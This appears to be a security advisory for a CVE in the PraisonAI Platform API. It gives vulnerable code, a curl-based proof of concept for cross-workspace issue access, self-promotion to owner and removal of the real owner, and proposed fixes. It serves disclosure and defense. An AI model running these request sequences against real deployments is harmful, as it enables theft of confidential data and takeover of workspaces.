PraisonAI Platform CVE-2026-48169

GET /api/v1/workspaces/{workspace_id}/issues/{issue_id}
                        ^^^^^^^^^^^^^^
                        require_workspace_member() checks this

async def get(self, issue_id: str) -> Optional[Issue]:
    """Get issue by ID."""
    return await self._session.get(Issue, issue_id)

async def get(self, project_id: str) -> Optional[Project]:
    """Get project by ID."""
    return await self._session.get(Project, project_id)

async def list_for_workspace(self, workspace_id: str, ...) -> list[Issue]:
    stmt = select(Issue).where(Issue.workspace_id == workspace_id)
# ... properly scoped

@router.get("/{issue_id}", response_model=IssueResponse)
async def get_issue(
    workspace_id: str,
# Extracted from URL
    issue_id: str,
    user: AuthIdentity = Depends(require_workspace_member),
# Membership verified
    session: AsyncSession = Depends(get_db),
):
    svc = IssueService(session)
    issue = await svc.get(issue_id)
# workspace_id never passed to service

async def require_workspace_member(
    workspace_id: str,
    user: AuthIdentity = Depends(get_current_user),
    session: AsyncSession = Depends(get_db),
    min_role: str = "member",
# Accepts higher roles, but nobody passes them
) -> AuthIdentity:
    member_svc = MemberService(session)
    has = await member_svc.has_role(workspace_id, user.id, min_role)
    if not has:
        raise HTTPException(status_code=403, ...)

async def has_role(self, workspace_id, user_id, required_role) -> bool:
    """Role hierarchy: owner > admin > member."""
    member = await self.get(workspace_id, user_id)
    if member is None:
        return False
    role_levels = {"owner": 3, "admin": 2, "member": 1}
    user_level = role_levels.get(member.role, 0)
    required_level = role_levels.get(required_role, 0)
    return user_level >= required_level

@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)
async def update_member_role(
    workspace_id: str,
    user_id: str,
    body: MemberUpdate,
    user: AuthIdentity = Depends(require_workspace_member),
# min_role="member"
    session: AsyncSession = Depends(get_db),
):
    member_svc = MemberService(session)
    member = await member_svc.update_role(workspace_id, user_id, body.role)
# No check: is user modifying their own role? (self-promotion)
# No check: is body.role > caller's current role? (escalation)
# No check: is target a higher role than caller? (modifying superiors)

@router.delete("/{workspace_id}/members/{user_id}", status_code=204)
async def remove_member(
    workspace_id: str,
    user_id: str,
    user: AuthIdentity = Depends(require_workspace_member),
# min_role="member"
    ...
):
    member_svc = MemberService(session)
    removed = await member_svc.remove(workspace_id, user_id)
# No check: is target a higher role than caller?
# No check: is this the last owner?

cd /path/to/PraisonAI
pip install -e "src/praisonai-platform"
python -m uvicorn praisonai_platform.api.app:create_app \
  --factory --host 127.0.0.1 --port 8000

BASE="http://127.0.0.1:8000/api/v1"
# Register CEO
VICTIM=$(curl -sfL -X POST "$BASE/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"ceo@targetcorp.com","password":"Secure123!","name":"CEO"}')
VICTIM_TOKEN=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
VICTIM_ID=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")
# CEO creates workspace with confidential issue
VICTIM_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d '{"name":"Executive Board"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

ISSUE_ID=$(curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/issues/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d '{"title":"M&A Target List","description":"Acquiring CompanyX for $2B. Board approved. Do not disclose."}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "Victim workspace: $VICTIM_WS"
echo "Secret issue: $ISSUE_ID"

ATTACKER=$(curl -sfL -X POST "$BASE/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"Evil123!","name":"Attacker"}')
ATK_TOKEN=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
ATK_ID=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")

ATK_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"name":"Attacker WS"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

curl -sfL "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
  -H "Authorization: Bearer $ATK_TOKEN"

{
  "id": "<ISSUE_ID>",
  "workspace_id": "<VICTIM_WS>",
  "title": "M&A Target List",
  "description": "Acquiring CompanyX for $2B. Board approved. Do not disclose.",
  "status": "backlog"
}

curl -sfL -X PATCH "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"title":"TAMPERED - M&A Target List"}'

curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/members/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d "{\"user_id\":\"$ATK_ID\",\"role\":\"member\"}" > /dev/null

PROMO=$(curl -sfL -X PATCH "$BASE/workspaces/$VICTIM_WS/members/$ATK_ID" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"role":"owner"}')
echo "$PROMO" | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'Role: {d[\"role\"]}')"

Role: owner

curl -sLo /dev/null -w "HTTP %{http_code}" -X DELETE \
  "$BASE/workspaces/$VICTIM_WS/members/$VICTIM_ID" \
  -H "Authorization: Bearer $ATK_TOKEN"

curl -sfL "$BASE/workspaces/$VICTIM_WS/members/" \
  -H "Authorization: Bearer $ATK_TOKEN"

[
  {
    "workspace_id": "<VICTIM_WS>",
    "user_id": "<ATK_ID>",
    "role": "owner"
  }
]

# issue_service.py, replace get() at line 72:
async def get(self, issue_id: str, workspace_id: str) -> Optional[Issue]:
    """Get issue by ID, scoped to workspace."""
    issue = await self._session.get(Issue, issue_id)
    if issue is None or issue.workspace_id != workspace_id:
        return None
    return issue
# Apply the same pattern to update(), delete(), and all ProjectService methods

# issues.py, fix get_issue at line 82:
issue = await svc.get(issue_id, workspace_id)
# Now workspace-scoped

# workspaces.py, fix update_member_role:
user: AuthIdentity = Depends(
    lambda **kw: require_workspace_member(**kw, min_role="owner")
)
# Add self-modification and last-owner guards:
if user_id == user.id:
    raise HTTPException(403, "Cannot change your own role")
# Fix remove_member:
target = await member_svc.get(workspace_id, user_id)
if target and target.role == "owner":
    owners = [m for m in await member_svc.list_members(workspace_id) if m.role == "owner"]
    if len(owners) <= 1:
        raise HTTPException(403, "Cannot remove the last owner")